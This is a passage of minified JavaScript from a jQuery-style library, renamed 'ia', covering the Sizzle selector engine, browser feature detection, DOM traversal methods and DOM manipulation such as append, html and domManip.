                    return ! f && (d || c !== D) || ((b = c).nodeType ? i(a, c, d) : j(a, c, d))
                }]; e > h; h++) if (c = y.relative[a[h].type]) k = [n(o(k), c)];
                else {
                    if (c = y.filter[a[h].type].apply(null, a[h].matches), c[N]) {
                        for (d = ++h; e > d && !y.relative[a[d].type]; d++);
                        return q(h > 1 && o(k), h > 1 && m(a.slice(0, h - 1)).replace(ga, "$1"), c, d > h && r(a.slice(h, d)), e > d && r(a = a.slice(d)), e > d && m(a))
                    }
                    k.push(c)
                }
                return o(k)
            }
            function s(a, b) {
                var c = 0,
                d = b.length > 0,
                f = a.length > 0,
                h = function(e, h, i, j, k) {
                    var l, m, n, o = [],
                    q = 0,
                    r = "0",
                    s = e && [],
                    t = null != k,
                    u = D,
                    v = e || f && y.find.TAG("*", k && h.parentNode || h),
                    w = Q += null == u ? 1 : Math.random() || .1;
                    for (t && (D = h !== F && h, x = c); null != (l = v[r]); r++) {
                        if (f && l) {
                            for (m = 0; n = a[m++];) if (n(l, h, i)) {
                                j.push(l);
                                break
                            }
                            t && (Q = w, x = ++c)
                        }
                        d && ((l = !n && l) && q--, e && s.push(l))
                    }
                    if (q += r, d && r !== q) {
                        for (m = 0; n = b[m++];) n(s, o, h, i);
                        if (e) {
                            if (q > 0) for (; r--;) s[r] || o[r] || (o[r] = Y.call(j));
                            o = p(o)
                        }
                        Z.apply(j, o),
                        t && !e && o.length > 0 && q + b.length > 1 && g.uniqueSort(j)
                    }
                    return t && (Q = w, D = u),
                    s
                };
                return d ? e(h) : h
            }
            function t(a, b, c) {
                for (var d = 0,
                e = b.length; e > d; d++) g(a, b[d], c);
                return c
            }
            function u(a, b, c, d) {
                var e, f, g, h, i, j = l(a);
                if (!d && 1 === j.length) {
                    if (f = j[0] = j[0].slice(0), f.length > 2 && "ID" === (g = f[0]).type && 9 === b.nodeType && !H && y.relative[f[1].type]) {
                        if (b = y.find.ID(g.matches[0].replace(ua, va), b)[0], !b) return c;
                        a = a.slice(f.shift().value.length)
                    }
                    for (e = ma.needsContext.test(a) ? 0 : f.length; e--&&(g = f[e], !y.relative[h = g.type]);) if ((i = y.find[h]) && (d = i(g.matches[0].replace(ua, va), na.test(f[0].type) && b.parentNode || b))) {
                        if (f.splice(e, 1), a = d.length && m(f), !a) return Z.apply(c, $.call(d, 0)),
                        c;
                        break
                    }
                }
                return B(a, j)(d, b, H, c, na.test(a)),
                c
            }
            function v() {}
            var w, x, y, z, A, B, C, D, E, F, G, H, I, J, K, L, M, N = "sizzle" + -new Date,
            O = a.document,
            P = {},
            Q = 0,
            R = 0,
            S = d(),
            T = d(),
            U = d(),
            V = typeof b,
            W = 1 << 31,
            X = [],
            Y = X.pop,
            Z = X.push,
            $ = X.slice,
            _ = X.indexOf ||
            function(a) {
                for (var b = 0,
                c = this.length; c > b; b++) if (this[b] === a) return b;
                return - 1
            },
            aa = "[\\x20\\t\\r\\n\\f]",
            ba = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
            ca = ba.replace("w", "w#"),
            da = "([*^$|!~]?=)",
            ea = "\\[" + aa + "*(" + ba + ")" + aa + "*(?:" + da + aa + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + ca + ")|)|)" + aa + "*\\]",
            fa = ":(" + ba + ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" + ea.replace(3, 8) + ")*)|.*)\\)|)",
            ga = RegExp("^" + aa + "+|((?:^|[^\\\\])(?:\\\\.)*)" + aa + "+$", "g"),
            ha = RegExp("^" + aa + "*," + aa + "*"),
            ja = RegExp("^" + aa + "*([\\x20\\t\\r\\n\\f>+~])" + aa + "*"),
            ka = RegExp(fa),
            la = RegExp("^" + ca + "$"),
            ma = {
                ID: RegExp("^#(" + ba + ")"),
                CLASS: RegExp("^\\.(" + ba + ")"),
                NAME: RegExp("^\\[name=['\"]?(" + ba + ")['\"]?\\]"),
                TAG: RegExp("^(" + ba.replace("w", "w*") + ")"),
                ATTR: RegExp("^" + ea),
                PSEUDO: RegExp("^" + fa),
                CHILD: RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + aa + "*(even|odd|(([+-]|)(\\d*)n|)" + aa + "*(?:([+-]|)" + aa + "*(\\d+)|))" + aa + "*\\)|)", "i"),
                needsContext: RegExp("^" + aa + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + aa + "*((?:-\\d)?\\d*)" + aa + "*\\)|)(?=[^-]|$)", "i")
            },
            na = /[\x20\t\r\n\f]*[+~]/,
            oa = /^[^{]+\{\s*\[native code/,
            pa = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
            qa = /^(?:input|select|textarea|button)$/i,
            ra = /^h\d$/i,
            sa = /'|\\/g,
            ta = /\=[\x20\t\r\n\f]*([^'"\]]*)[\x20\t\r\n\f]*\]/g,
            ua = /\\([\da-fA-F]{1,6}[\x20\t\r\n\f]?|.)/g,
            va = function(a, b) {
                var c = "0x" + b - 65536;
                return c !== c ? b: 0 > c ? String.fromCharCode(c + 65536) : String.fromCharCode(55296 | c >> 10, 56320 | 1023 & c)
            };
            try {
                $.call(O.documentElement.childNodes, 0)[0].nodeType
            } catch(wa) {
                $ = function(a) {
                    for (var b, c = []; b = this[a++];) c.push(b);
                    return c
                }
            }
            A = g.isXML = function(a) {
                var b = a && (a.ownerDocument || a).documentElement;
                return b ? "HTML" !== b.nodeName: !1
            },
            E = g.setDocument = function(a) {
                var d = a ? a.ownerDocument || a: O;
                return d !== F && 9 === d.nodeType && d.documentElement ? (F = d, G = d.documentElement, H = A(d), P.tagNameNoComments = f(function(a) {
                    return a.appendChild(d.createComment("")),
                    !a.getElementsByTagName("*").length
                }), P.attributes = f(function(a) {
                    a.innerHTML = "<select></select>";
                    var b = typeof a.lastChild.getAttribute("multiple");
                    return "boolean" !== b && "string" !== b
                }), P.getByClassName = f(function(a) {
                    return a.innerHTML = "<div class='hidden e'></div><div class='hidden'></div>",
                    a.getElementsByClassName && a.getElementsByClassName("e").length ? (a.lastChild.className = "e", 2 === a.getElementsByClassName("e").length) : !1
                }), P.getByName = f(function(a) {
                    a.id = N + 0,
                    a.innerHTML = "<a name='" + N + "'></a><div name='" + N + "'></div>",
                    G.insertBefore(a, G.firstChild);
                    var b = d.getElementsByName && d.getElementsByName(N).length === 2 + d.getElementsByName(N + 0).length;
                    return P.getIdNotName = !d.getElementById(N),
                    G.removeChild(a),
                    b
                }), y.attrHandle = f(function(a) {
                    return a.innerHTML = "<a href='#'></a>",
                    a.firstChild && typeof a.firstChild.getAttribute !== V && "#" === a.firstChild.getAttribute("href")
                }) ? {}: {
                    href: function(a) {
                        return a.getAttribute("href", 2)
                    },
                    type: function(a) {
                        return a.getAttribute("type")
                    }
                },
                P.getIdNotName ? (y.find.ID = function(a, b) {
                    if (typeof b.getElementById !== V && !H) {
                        var c = b.getElementById(a);
                        return c && c.parentNode ? [c] : []
                    }
                },
                y.filter.ID = function(a) {
                    var b = a.replace(ua, va);
                    return function(a) {
                        return a.getAttribute("id") === b
                    }
                }) : (y.find.ID = function(a, c) {
                    if (typeof c.getElementById !== V && !H) {
                        var d = c.getElementById(a);
                        return d ? d.id === a || typeof d.getAttributeNode !== V && d.getAttributeNode("id").value === a ? [d] : b: []
                    }
                },
                y.filter.ID = function(a) {
                    var b = a.replace(ua, va);
                    return function(a) {
                        var c = typeof a.getAttributeNode !== V && a.getAttributeNode("id");
                        return c && c.value === b
                    }
                }), y.find.TAG = P.tagNameNoComments ?
                function(a, c) {
                    return typeof c.getElementsByTagName !== V ? c.getElementsByTagName(a) : b
                }: function(a, b) {
                    var c, d = [],
                    e = 0,
                    f = b.getElementsByTagName(a);
                    if ("*" === a) {
                        for (; c = f[e++];) 1 === c.nodeType && d.push(c);
                        return d
                    }
                    return f
                },
                y.find.NAME = P.getByName &&
                function(a, c) {
                    return typeof c.getElementsByName !== V ? c.getElementsByName(name) : b
                },
                y.find.CLASS = P.getByClassName &&
                function(a, c) {
                    return typeof c.getElementsByClassName === V || H ? b: c.getElementsByClassName(a)
                },
                J = [], I = [":focus"], (P.qsa = c(d.querySelectorAll)) && (f(function(a) {
                    a.innerHTML = "<select><option selected=''></option></select>",
                    a.querySelectorAll("[selected]").length || I.push("\\[" + aa + "*(?:checked|disabled|ismap|multiple|readonly|selected|value)"),
                    a.querySelectorAll(":checked").length || I.push(":checked")
                }), f(function(a) {
                    a.innerHTML = "<input type='hidden' i=''/>",
                    a.querySelectorAll("[i^='']").length && I.push("[*^$]=" + aa + "*(?:\"\"|'')"),
                    a.querySelectorAll(":enabled").length || I.push(":enabled", ":disabled"),
                    a.querySelectorAll("*,:x"),
                    I.push(",.*:")
                })), (P.matchesSelector = c(K = G.matchesSelector || G.mozMatchesSelector || G.webkitMatchesSelector || G.oMatchesSelector || G.msMatchesSelector)) && f(function(a) {
                    P.disconnectedMatch = K.call(a, "div"),
                    K.call(a, "[s!='']:x"),
                    J.push("!=", fa)
                }), I = RegExp(I.join("|")), J = RegExp(J.join("|")), L = c(G.contains) || G.compareDocumentPosition ?
                function(a, b) {
                    var c = 9 === a.nodeType ? a.documentElement: a,
                    d = b && b.parentNode;
                    return a === d || !(!d || 1 !== d.nodeType || !(c.contains ? c.contains(d) : a.compareDocumentPosition && 16 & a.compareDocumentPosition(d)))
                }: function(a, b) {
                    if (b) for (; b = b.parentNode;) if (b === a) return ! 0;
                    return ! 1
                },
                M = G.compareDocumentPosition ?
                function(a, b) {
                    var c;
                    return a === b ? (C = !0, 0) : (c = b.compareDocumentPosition && a.compareDocumentPosition && a.compareDocumentPosition(b)) ? 1 & c || a.parentNode && 11 === a.parentNode.nodeType ? a === d || L(O, a) ? -1 : b === d || L(O, b) ? 1 : 0 : 4 & c ? -1 : 1 : a.compareDocumentPosition ? -1 : 1
                }: function(a, b) {
                    var c, e = 0,
                    f = a.parentNode,
                    g = b.parentNode,
                    i = [a],
                    j = [b];
                    if (a === b) return C = !0,
                    0;
                    if (!f || !g) return a === d ? -1 : b === d ? 1 : f ? -1 : g ? 1 : 0;
                    if (f === g) return h(a, b);
                    for (c = a; c = c.parentNode;) i.unshift(c);
                    for (c = b; c = c.parentNode;) j.unshift(c);
                    for (; i[e] === j[e];) e++;
                    return e ? h(i[e], j[e]) : i[e] === O ? -1 : j[e] === O ? 1 : 0
                },
                C = !1, [0, 0].sort(M), P.detectDuplicates = C, F) : F
            },
            g.matches = function(a, b) {
                return g(a, null, null, b)
            },
            g.matchesSelector = function(a, b) {
                if ((a.ownerDocument || a) !== F && E(a), b = b.replace(ta, "='$1']"), !(!P.matchesSelector || H || J && J.test(b) || I.test(b))) try {
                    var c = K.call(a, b);
                    if (c || P.disconnectedMatch || a.document && 11 !== a.document.nodeType) return c
                } catch(d) {}
                return g(b, F, null, [a]).length > 0
            },
            g.contains = function(a, b) {
                return (a.ownerDocument || a) !== F && E(a),
                L(a, b)
            },
            g.attr = function(a, b) {
                var c;
                return (a.ownerDocument || a) !== F && E(a),
                H || (b = b.toLowerCase()),
                (c = y.attrHandle[b]) ? c(a) : H || P.attributes ? a.getAttribute(b) : ((c = a.getAttributeNode(b)) || a.getAttribute(b)) && a[b] === !0 ? b: c && c.specified ? c.value: null
            },
            g.error = function(a) {
                throw Error("Syntax error, unrecognized expression: " + a)
            },
            g.uniqueSort = function(a) {
                var b, c = [],
                d = 1,
                e = 0;
                if (C = !P.detectDuplicates, a.sort(M), C) {
                    for (; b = a[d]; d++) b === a[d - 1] && (e = c.push(d));
                    for (; e--;) a.splice(c[e], 1)
                }
                return a
            },
            z = g.getText = function(a) {
                var b, c = "",
                d = 0,
                e = a.nodeType;
                if (e) {
                    if (1 === e || 9 === e || 11 === e) {
                        if ("string" == typeof a.textContent) return a.textContent;
                        for (a = a.firstChild; a; a = a.nextSibling) c += z(a)
                    } else if (3 === e || 4 === e) return a.nodeValue
                } else for (; b = a[d]; d++) c += z(b);
                return c
            },
            y = g.selectors = {
                cacheLength: 50,
                createPseudo: e,
                match: ma,
                find: {},
                relative: {
                    ">": {
                        dir: "parentNode",
                        first: !0
                    },
                    " ": {
                        dir: "parentNode"
                    },
                    "+": {
                        dir: "previousSibling",
                        first: !0
                    },
                    "~": {
                        dir: "previousSibling"
                    }
                },
                preFilter: {
                    ATTR: function(a) {
                        return a[1] = a[1].replace(ua, va),
                        a[3] = (a[4] || a[5] || "").replace(ua, va),
                        "~=" === a[2] && (a[3] = " " + a[3] + " "),
                        a.slice(0, 4)
                    },
                    CHILD: function(a) {
                        return a[1] = a[1].toLowerCase(),
                        "nth" === a[1].slice(0, 3) ? (a[3] || g.error(a[0]), a[4] = +(a[4] ? a[5] + (a[6] || 1) : 2 * ("even" === a[3] || "odd" === a[3])), a[5] = +(a[7] + a[8] || "odd" === a[3])) : a[3] && g.error(a[0]),
                        a
                    },
                    PSEUDO: function(a) {
                        var b, c = !a[5] && a[2];
                        return ma.CHILD.test(a[0]) ? null: (a[4] ? a[2] = a[4] : c && ka.test(c) && (b = l(c, !0)) && (b = c.indexOf(")", c.length - b) - c.length) && (a[0] = a[0].slice(0, b), a[2] = c.slice(0, b)), a.slice(0, 3))
                    }
                },
                filter: {
                    TAG: function(a) {
                        return "*" === a ?
                        function() {
                            return ! 0
                        }: (a = a.replace(ua, va).toLowerCase(),
                        function(b) {
                            return b.nodeName && b.nodeName.toLowerCase() === a
                        })
                    },
                    CLASS: function(a) {
                        var b = S[a + " "];
                        return b || (b = RegExp("(^|" + aa + ")" + a + "(" + aa + "|$)")) && S(a,
                        function(a) {
                            return b.test(a.className || typeof a.getAttribute !== V && a.getAttribute("class") || "")
                        })
                    },
                    ATTR: function(a, b, c) {
                        return function(d) {
                            var e = g.attr(d, a);
                            return null == e ? "!=" === b: b ? (e += "", "=" === b ? e === c: "!=" === b ? e !== c: "^=" === b ? c && 0 === e.indexOf(c) : "*=" === b ? c && e.indexOf(c) > -1 : "$=" === b ? c && e.slice( - c.length) === c: "~=" === b ? (" " + e + " ").indexOf(c) > -1 : "|=" === b ? e === c || e.slice(0, c.length + 1) === c + "-": !1) : !0
                        }
                    },
                    CHILD: function(a, b, c, d, e) {
                        var f = "nth" !== a.slice(0, 3),
                        g = "last" !== a.slice( - 4),
                        h = "of-type" === b;
                        return 1 === d && 0 === e ?
                        function(a) {
                            return !! a.parentNode
                        }: function(b, c, i) {
                            var j, k, l, m, n, o, p = f !== g ? "nextSibling": "previousSibling",
                            q = b.parentNode,
                            r = h && b.nodeName.toLowerCase(),
                            s = !i && !h;
                            if (q) {
                                if (f) {
                                    for (; p;) {
                                        for (l = b; l = l[p];) if (h ? l.nodeName.toLowerCase() === r: 1 === l.nodeType) return ! 1;
                                        o = p = "only" === a && !o && "nextSibling"
                                    }
                                    return ! 0
                                }
                                if (o = [g ? q.firstChild: q.lastChild], g && s) {
                                    for (k = q[N] || (q[N] = {}), j = k[a] || [], n = j[0] === Q && j[1], m = j[0] === Q && j[2], l = n && q.childNodes[n]; l = ++n && l && l[p] || (m = n = 0) || o.pop();) if (1 === l.nodeType && ++m && l === b) {
                                        k[a] = [Q, n, m];
                                        break
                                    }
                                } else if (s && (j = (b[N] || (b[N] = {}))[a]) && j[0] === Q) m = j[1];
                                else for (; (l = ++n && l && l[p] || (m = n = 0) || o.pop()) && ((h ? l.nodeName.toLowerCase() !== r: 1 !== l.nodeType) || !++m || (s && ((l[N] || (l[N] = {}))[a] = [Q, m]), l !== b)););
                                return m -= e,
                                m === d || 0 === m % d && m / d >= 0
                            }
                        }
                    },
                    PSEUDO: function(a, b) {
                        var c, d = y.pseudos[a] || y.setFilters[a.toLowerCase()] || g.error("unsupported pseudo: " + a);
                        return d[N] ? d(b) : d.length > 1 ? (c = [a, a, "", b], y.setFilters.hasOwnProperty(a.toLowerCase()) ? e(function(a, c) {
                            for (var e, f = d(a, b), g = f.length; g--;) e = _.call(a, f[g]),
                            a[e] = !(c[e] = f[g])
                        }) : function(a) {
                            return d(a, 0, c)
                        }) : d
                    }
                },
                pseudos: {
                    not: e(function(a) {
                        var b = [],
                        c = [],
                        d = B(a.replace(ga, "$1"));
                        return d[N] ? e(function(a, b, c, e) {
                            for (var f, g = d(a, null, e, []), h = a.length; h--;)(f = g[h]) && (a[h] = !(b[h] = f))
                        }) : function(a, e, f) {
                            return b[0] = a,
                            d(b, null, f, c),
                            !c.pop()
                        }
                    }),
                    has: e(function(a) {
                        return function(b) {
                            return g(a, b).length > 0
                        }
                    }),
                    contains: e(function(a) {
                        return function(b) {
                            return (b.textContent || b.innerText || z(b)).indexOf(a) > -1
                        }
                    }),
                    lang: e(function(a) {
                        return la.test(a || "") || g.error("unsupported lang: " + a),
                        a = a.replace(ua, va).toLowerCase(),
                        function(b) {
                            var c;
                            do
                            if (c = H ? b.getAttribute("xml:lang") || b.getAttribute("lang") : b.lang) return c = c.toLowerCase(),
                            c === a || 0 === c.indexOf(a + "-");
                            while ((b = b.parentNode) && 1 === b.nodeType);
                            return ! 1
                        }
                    }),
                    target: function(b) {
                        var c = a.location && a.location.hash;
                        return c && c.slice(1) === b.id
                    },
                    root: function(a) {
                        return a === G
                    },
                    focus: function(a) {
                        return a === F.activeElement && (!F.hasFocus || F.hasFocus()) && !!(a.type || a.href || ~a.tabIndex)
                    },
                    enabled: function(a) {
                        return a.disabled === !1
                    },
                    disabled: function(a) {
                        return a.disabled === !0
                    },
                    checked: function(a) {
                        var b = a.nodeName.toLowerCase();
                        return "input" === b && !!a.checked || "option" === b && !!a.selected
                    },
                    selected: function(a) {
                        return a.parentNode && a.parentNode.selectedIndex,
                        a.selected === !0
                    },
                    empty: function(a) {
                        for (a = a.firstChild; a; a = a.nextSibling) if (a.nodeName > "@" || 3 === a.nodeType || 4 === a.nodeType) return ! 1;
                        return ! 0
                    },
                    parent: function(a) {
                        return ! y.pseudos.empty(a)
                    },
                    header: function(a) {
                        return ra.test(a.nodeName)
                    },
                    input: function(a) {
                        return qa.test(a.nodeName)
                    },
                    button: function(a) {
                        var b = a.nodeName.toLowerCase();
                        return "input" === b && "button" === a.type || "button" === b
                    },
                    text: function(a) {
                        var b;
                        return "input" === a.nodeName.toLowerCase() && "text" === a.type && (null == (b = a.getAttribute("type")) || b.toLowerCase() === a.type)
                    },
                    first: k(function() {
                        return [0]
                    }),
                    last: k(function(a, b) {
                        return [b - 1]
                    }),
                    eq: k(function(a, b, c) {
                        return [0 > c ? c + b: c]
                    }),
                    even: k(function(a, b) {
                        for (var c = 0; b > c; c += 2) a.push(c);
                        return a
                    }),
                    odd: k(function(a, b) {
                        for (var c = 1; b > c; c += 2) a.push(c);
                        return a
                    }),
                    lt: k(function(a, b, c) {
                        for (var d = 0 > c ? c + b: c; --d >= 0;) a.push(d);
                        return a
                    }),
                    gt: k(function(a, b, c) {
                        for (var d = 0 > c ? c + b: c; b > ++d;) a.push(d);
                        return a
                    })
                }
            };
            for (w in {
                radio: !0,
                checkbox: !0,
                file: !0,
                password: !0,
                image: !0
            }) y.pseudos[w] = i(w);
            for (w in {
                submit: !0,
                reset: !0
            }) y.pseudos[w] = j(w);
            B = g.compile = function(a, b) {
                var c, d = [],
                e = [],
                f = U[a + " "];
                if (!f) {
                    for (b || (b = l(a)), c = b.length; c--;) f = r(b[c]),
                    f[N] ? d.push(f) : e.push(f);
                    f = U(a, s(e, d))
                }
                return f
            },
            y.pseudos.nth = y.pseudos.eq,
            y.filters = v.prototype = y.pseudos,
            y.setFilters = new v,
            E(),
            g.attr = ia.attr,
            ia.find = g,
            ia.expr = g.selectors,
            ia.expr[":"] = ia.expr.pseudos,
            ia.unique = g.uniqueSort,
            ia.text = g.getText,
            ia.isXMLDoc = g.isXML,
            ia.contains = g.contains
        } (a);
        var Pa = /Until$/,
        Qa = /^(?:parents|prev(?:Until|All))/,
        Ra = /^.[^:#\[\.,]*$/,
        Sa = ia.expr.match.needsContext,
        Ta = {
            children: !0,
            contents: !0,
            next: !0,
            prev: !0
        };
        ia.fn.extend({
            find: function(a) {
                var b, c, d, e = this.length;
                if ("string" != typeof a) return d = this,
                this.pushStack(ia(a).filter(function() {
                    for (b = 0; e > b; b++) if (ia.contains(d[b], this)) return ! 0
                }));
                for (c = [], b = 0; e > b; b++) ia.find(a, this[b], c);
                return c = this.pushStack(e > 1 ? ia.unique(c) : c),
                c.selector = (this.selector ? this.selector + " ": "") + a,
                c
            },
            has: function(a) {
                var b, c = ia(a, this),
                d = c.length;
                return this.filter(function() {
                    for (b = 0; d > b; b++) if (ia.contains(this, c[b])) return ! 0
                })
            },
            not: function(a) {
                return this.pushStack(l(this, a, !1))
            },
            filter: function(a) {
                return this.pushStack(l(this, a, !0))
            },
            is: function(a) {
                return !! a && ("string" == typeof a ? Sa.test(a) ? ia(a, this.context).index(this[0]) >= 0 : ia.filter(a, this).length > 0 : this.filter(a).length > 0)
            },
            closest: function(a, b) {
                for (var c, d = 0,
                e = this.length,
                f = [], g = Sa.test(a) || "string" != typeof a ? ia(a, b || this.context) : 0; e > d; d++) for (c = this[d]; c && c.ownerDocument && c !== b && 11 !== c.nodeType;) {
                    if (g ? g.index(c) > -1 : ia.find.matchesSelector(c, a)) {
                        f.push(c);
                        break
                    }
                    c = c.parentNode
                }
                return this.pushStack(f.length > 1 ? ia.unique(f) : f)
            },
            index: function(a) {
                return a ? "string" == typeof a ? ia.inArray(this[0], ia(a)) : ia.inArray(a.ttsui ? a[0] : a, this) : this[0] && this[0].parentNode ? this.first().prevAll().length: -1
            },
            add: function(a, b) {
                var c = "string" == typeof a ? ia(a, b) : ia.makeArray(a && a.nodeType ? [a] : a),
                d = ia.merge(this.get(), c);
                return this.pushStack(ia.unique(d))
            },
            addBack: function(a) {
                return this.add(null == a ? this.prevObject: this.prevObject.filter(a))
            }
        }),
        ia.fn.andSelf = ia.fn.addBack,
        ia.each({
            parent: function(a) {
                var b = a.parentNode;
                return b && 11 !== b.nodeType ? b: null
            },
            parents: function(a) {
                return ia.dir(a, "parentNode")
            },
            parentsUntil: function(a, b, c) {
                return ia.dir(a, "parentNode", c)
            },
            next: function(a) {
                return k(a, "nextSibling")
            },
            prev: function(a) {
                return k(a, "previousSibling")
            },
            nextAll: function(a) {
                return ia.dir(a, "nextSibling")
            },
            prevAll: function(a) {
                return ia.dir(a, "previousSibling")
            },
            nextUntil: function(a, b, c) {
                return ia.dir(a, "nextSibling", c)
            },
            prevUntil: function(a, b, c) {
                return ia.dir(a, "previousSibling", c)
            },
            siblings: function(a) {
                return ia.sibling((a.parentNode || {}).firstChild, a)
            },
            children: function(a) {
                return ia.sibling(a.firstChild)
            },
            contents: function(a) {
                return ia.nodeName(a, "iframe") ? a.contentDocument || a.contentWindow.document: ia.merge([], a.childNodes)
            }
        },
        function(a, b) {
            ia.fn[a] = function(c, d) {
                var e = ia.map(this, b, c);
                return Pa.test(a) || (d = c),
                d && "string" == typeof d && (e = ia.filter(d, e)),
                e = this.length > 1 && !Ta[a] ? ia.unique(e) : e,
                this.length > 1 && Qa.test(a) && (e = e.reverse()),
                this.pushStack(e)
            }
        }),
        ia.extend({
            filter: function(a, b, c) {
                return c && (a = ":not(" + a + ")"),
                1 === b.length ? ia.find.matchesSelector(b[0], a) ? [b[0]] : [] : ia.find.matches(a, b)
            },
            dir: function(a, c, d) {
                for (var e = [], f = a[c]; f && 9 !== f.nodeType && (d === b || 1 !== f.nodeType || !ia(f).is(d));) 1 === f.nodeType && e.push(f),
                f = f[c];
                return e
            },
            sibling: function(a, b) {
                for (var c = []; a; a = a.nextSibling) 1 === a.nodeType && a !== b && c.push(a);
                return c
            }
        });
        var Ua = "abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",
        Va = / TTSUI\d+="(?:null|\d+)"/g,
        Wa = RegExp("<(?:" + Ua + ")[\\s/>]", "i"),
        Xa = /^\s+/,
        Ya = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,
        Za = /<([\w:]+)/,
        $a = /<tbody/i,
        _a = /<|&#?\w+;/,
        ab = /<(?:script|style|link)/i,
        bb = /^(?:checkbox|radio)$/i,
        cb = /checked\s*(?:[^=]|=\s*.checked.)/i,
        db = /^$|\/(?:java|ecma)script/i,
        eb = /^true\/(.*)/,
        fb = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,
        gb = {
            option: [1, "<select multiple='multiple'>", "</select>"],
            legend: [1, "<fieldset>", "</fieldset>"],
            area: [1, "<map>", "</map>"],
            param: [1, "<object>", "</object>"],
            thead: [1, "<table>", "</table>"],
            tr: [2, "<table><tbody>", "</tbody></table>"],
            col: [2, "<table><tbody></tbody><colgroup>", "</colgroup></table>"],
            td: [3, "<table><tbody><tr>", "</tr></tbody></table>"],
            _default: ia.support.htmlSerialize ? [0, "", ""] : [1, "X<div>", "</div>"]
        },
        hb = m(W),
        ib = hb.appendChild(W.createElement("div"));
        gb.optgroup = gb.option,
        gb.tbody = gb.tfoot = gb.colgroup = gb.caption = gb.thead,
        gb.th = gb.td,
        ia.fn.extend({
            text: function(a) {
                return ia.access(this,
                function(a) {
                    return a === b ? ia.text(this) : this.empty().append((this[0] && this[0].ownerDocument || W).createTextNode(a))
                },
                null, a, arguments.length)
            },
            wrapAll: function(a) {
                if (ia.isFunction(a)) return this.each(function(b) {
                    ia(this).wrapAll(a.call(this, b))
                });
                if (this[0]) {
                    var b = ia(a, this[0].ownerDocument).eq(0).clone(!0);
                    this[0].parentNode && b.insertBefore(this[0]),
                    b.map(function() {
                        for (var a = this; a.firstChild && 1 === a.firstChild.nodeType;) a = a.firstChild;
                        return a
                    }).append(this)
                }
                return this
            },
            wrapInner: function(a) {
                return ia.isFunction(a) ? this.each(function(b) {
                    ia(this).wrapInner(a.call(this, b))
                }) : this.each(function() {
                    var b = ia(this),
                    c = b.contents();
                    c.length ? c.wrapAll(a) : b.append(a)
                })
            },
            wrap: function(a) {
                var b = ia.isFunction(a);
                return this.each(function(c) {
                    ia(this).wrapAll(b ? a.call(this, c) : a)
                })
            },
            unwrap: function() {
                return this.parent().each(function() {
                    ia.nodeName(this, "body") || ia(this).replaceWith(this.childNodes)
                }).end()
            },
            append: function() {
                return this.domManip(arguments, !0,
                function(a) { (1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType) && this.appendChild(a)
                })
            },
            prepend: function() {
                return this.domManip(arguments, !0,
                function(a) { (1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType) && this.insertBefore(a, this.firstChild)
                })
            },
            before: function() {
                return this.domManip(arguments, !1,
                function(a) {
                    this.parentNode && this.parentNode.insertBefore(a, this)
                })
            },
            after: function() {
                return this.domManip(arguments, !1,
                function(a) {
                    this.parentNode && this.parentNode.insertBefore(a, this.nextSibling)
                })
            },
            remove: function(a, b) {
                for (var c, d = 0; null != (c = this[d]); d++)(!a || ia.filter(a, [c]).length > 0) && (b || 1 !== c.nodeType || ia.cleanData(t(c)), c.parentNode && (b && ia.contains(c.ownerDocument, c) && q(t(c, "script")), c.parentNode.removeChild(c)));
                return this
            },
            empty: function() {
                for (var a, b = 0; null != (a = this[b]); b++) {
                    for (1 === a.nodeType && ia.cleanData(t(a, !1)); a.firstChild;) a.removeChild(a.firstChild);
                    a.options && ia.nodeName(a, "select") && (a.options.length = 0)
                }
                return this
            },
            clone: function(a, b) {
                return a = null == a ? !1 : a,
                b = null == b ? a: b,
                this.map(function() {
                    return ia.clone(this, a, b)
                })
            },
            html: function(a) {
                return ia.access(this,
                function(a) {
                    var c = this[0] || {},
                    d = 0,
                    e = this.length;
                    if (a === b) return 1 === c.nodeType ? c.innerHTML.replace(Va, "") : b;
                    if (! ("string" != typeof a || ab.test(a) || !ia.support.htmlSerialize && Wa.test(a) || !ia.support.leadingWhitespace && Xa.test(a) || gb[(Za.exec(a) || ["", ""])[1].toLowerCase()])) {
                        a = a.replace(Ya, "<$1></$2>");
                        try {
                            for (; e > d; d++) c = this[d] || {},
                            1 === c.nodeType && (ia.cleanData(t(c, !1)), c.innerHTML = a);
                            c = 0
                        } catch(f) {}
                    }
                    c && this.empty().append(a)
                },
                null, a, arguments.length)
            },
            replaceWith: function(a) {
                var b = ia.isFunction(a);
                return b || "string" == typeof a || (a = ia(a).not(this).detach()),
                this.domManip([a], !0,
                function(a) {
                    var b = this.nextSibling,
                    c = this.parentNode;
                    c && (ia(this).remove(), c.insertBefore(a, b));
                })
            },
            detach: function(a) {
                return this.remove(a, !0)
            },
            domManip: function(a, c, d) {
                a = ba.apply([], a);
                var e, f, g, h, i, j, k = 0,
                l = this.length,
                m = this,
                q = l - 1,
                r = a[0],
                s = ia.isFunction(r);
                if (s || !(1 >= l || "string" != typeof r || ia.support.checkClone) && cb.test(r)) return this.each(function(e) {
                    var f = m.eq(e);
                    s && (a[0] = r.call(this, e, c ? f.html() : b)),
                    f.domManip(a, c, d)
                });
                if (l && (j = ia.buildFragment(a, this[0].ownerDocument, !1, this), e = j.firstChild, 1 === j.childNodes.length && (j = e), e)) {
                    for (c = c && ia.nodeName(e, "tr"), h = ia.map(t(j, "script"), o), g = h.length; l > k; k++) f = j,
                    k !== q && (f = ia.clone(f, !0, !0), g && ia.merge(h, t(f, "script"))),
                    d.call(c && ia.nodeName(this[k], "table") ? n(this[k], "tbody") : this[k], f, k);
                    if (g) for (i = h[h.length - 1].ownerDocument, ia.map(h, p), k = 0; g > k; k++) f = h[k],
                    db.test(f.type || "") && !ia._data(f, "globalEval") && ia.contains(i, f) && (f.src ? ia.ajax({
                        url: f.src,
                        type: "GET",
                        dataType: "script",
                        async: !1,
                        global: !1,
                        "throws": !0
